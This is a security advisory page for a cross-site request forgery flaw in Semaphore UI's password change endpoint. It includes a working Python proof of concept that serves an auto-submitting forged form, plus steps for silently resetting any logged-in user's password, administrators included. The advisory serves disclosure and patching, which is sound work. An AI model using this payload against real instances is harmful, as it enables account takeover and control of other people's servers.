GHSA-8cj9-r88m-8945

Suggest an improvement
Source
https://github.com/advisories/GHSA-8cj9-r88m-8945
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-8cj9-r88m-8945/GHSA-8cj9-r88m-8945.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-8cj9-r88m-8945
Aliases
Published
2026-09-03T19:23:15Z
Modified
2026-09-10T15:25:35Z
Severity
  • 7.6 (High) CVSS_V3 - CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L CVSS Calculator
Summary
Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation
Details

Summary

The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.

Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

  • No CSRF token required
  • No current password confirmation required
  • Authentication relies solely on a session cookie (semaphore) with no SameSite enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.

PoC

To reproduce the exploit, you can use the following python script:

import logging
import argparse
import time
import sys
import os 
from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forge_malicious_page(target, user_id, newpassword):
    return f"""
        <html>
        <body>

        <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">

        <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}'  value='//}}' />
        </form>
        
        <script>
        document.getElementById("CSRF_POC").submit();
        </script>

        </body>
        </html>
    """;


parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri",  help="Base uri to target", required=True)
parser.add_argument("-n","--new_password",  help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port",  help="Port to run server", default=1337)
args = parser.parse_args()


class Handler(SimpleHTTPRequestHandler):
    
     def do_GET(self):
        logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
                (self.client_address[0], self.command, self.path,
                self.path.split('?')[1] if '?' in self.path else 'None'))
        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(content)))
        self.end_headers()
        self.wfile.write(content)


httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))

httpd.serve_forever()

Example :

python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337

1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.

Impact

This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

Database specific
{
    "cwe_ids":  [
        "CWE-352",
        "CWE-620"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-03T19:23:15Z",
    "nvd_published_at":  "2026-08-12T16:17:22Z",
    "severity":  "HIGH"
}
References

Affected packages

Go / github.com/semaphoreui/semaphore

Package

Name
github.com/semaphoreui/semaphore
View open source insights on deps.dev
Purl
pkg:golang/github.com/semaphoreui/semaphore

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.0.0-20260707190631-c59c3dc9035b

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-8cj9-r88m-8945/GHSA-8cj9-r88m-8945.json"